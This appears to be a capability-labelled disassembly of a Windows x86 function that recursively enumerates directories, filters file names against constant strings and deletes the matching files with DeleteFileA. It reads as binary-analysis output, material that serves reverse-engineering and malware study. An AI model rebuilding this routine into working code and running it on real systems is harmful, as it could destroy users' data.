Function at 0x403e61
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
and byte [ebp - 0x34c], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x34b]
rep stosd dword es:[edi], eax
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x34c]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x34c]
push 0x402298
push eax
call esi
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x403ecd
xor eax, eax
jmp 0x404111
lea ecx, [ebp - 0x248]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x404105
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
cmp byte [ebp - 0x21c], 0x2e
je 0x4040ed
test byte [ebp - 0x248], 0x10
je 0x403f3b
push dword [ebp + 8]
lea eax, [ebp - 0x450]
push eax
call ebx
lea eax, [ebp - 0x450]
push 0x402294
push eax
call esi
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x450]
push eax
call esi
lea eax, [ebp - 0x450]
push eax
call fcn.00403e61
pop ecx
jmp 0x4040ed
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call ebx
lea eax, [ebp - 0x108]
push 0x402294
push eax
call esi
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x108]
push 0x40228c
push eax
call fcn.00403e4a
pop ecx
push eax
call edi
test eax, eax
je 0x40403d
lea eax, [ebp - 0x108]
push 0x402284
push eax
call fcn.00403e4a
pop ecx
push eax
call edi
test eax, eax
je 0x40403d
lea eax, [ebp - 0x108]
push 0x402280
push eax
call fcn.00403e33
pop ecx
push eax
call edi
test eax, eax
je 0x40403d
lea eax, [ebp - 0x108]
push 0x40227c
push eax
call fcn.00403e33
pop ecx
push eax
call edi
test eax, eax
je 0x40403d
lea eax, [ebp - 0x108]
push 0x402278
push eax
call fcn.00403e33
pop ecx
push eax
call edi
test eax, eax
je 0x40403d
lea eax, [ebp - 0x108]
push 0x402270
push eax
call fcn.00403e4a
pop ecx
push eax
call edi
test eax, eax
je 0x40403d
lea eax, [ebp - 0x108]
push 0x40226c
push eax
call fcn.00403e33
pop ecx
push eax
call edi
test eax, eax
je 0x40403d
lea eax, [ebp - 0x108]
push 0x402268
push eax
call fcn.00403e33
pop ecx
push eax
call edi
test eax, eax
jne 0x404073
lea eax, [ebp - 0x108]
push 0x4015b8
push eax
call fcn.00404116
pop ecx
test eax, eax
pop ecx
je 0x4040ed
lea eax, [ebp - 0x108]
push eax
push 0x402260
call sub.MSVCRT.dll_printf
pop ecx
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x108]
push 0x40225c
push eax
call fcn.00403e33
pop ecx
push eax
call edi
test eax, eax
jne 0x404099
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x108]
push 0x402258
push eax
call fcn.00403e33
pop ecx
push eax
call edi
test eax, eax
jne 0x4040bf
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x108]
push 0x402254
push eax
call fcn.00403e33
pop ecx
push eax
call edi
test eax, eax
jne 0x4040e5
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x248]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403ee9
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret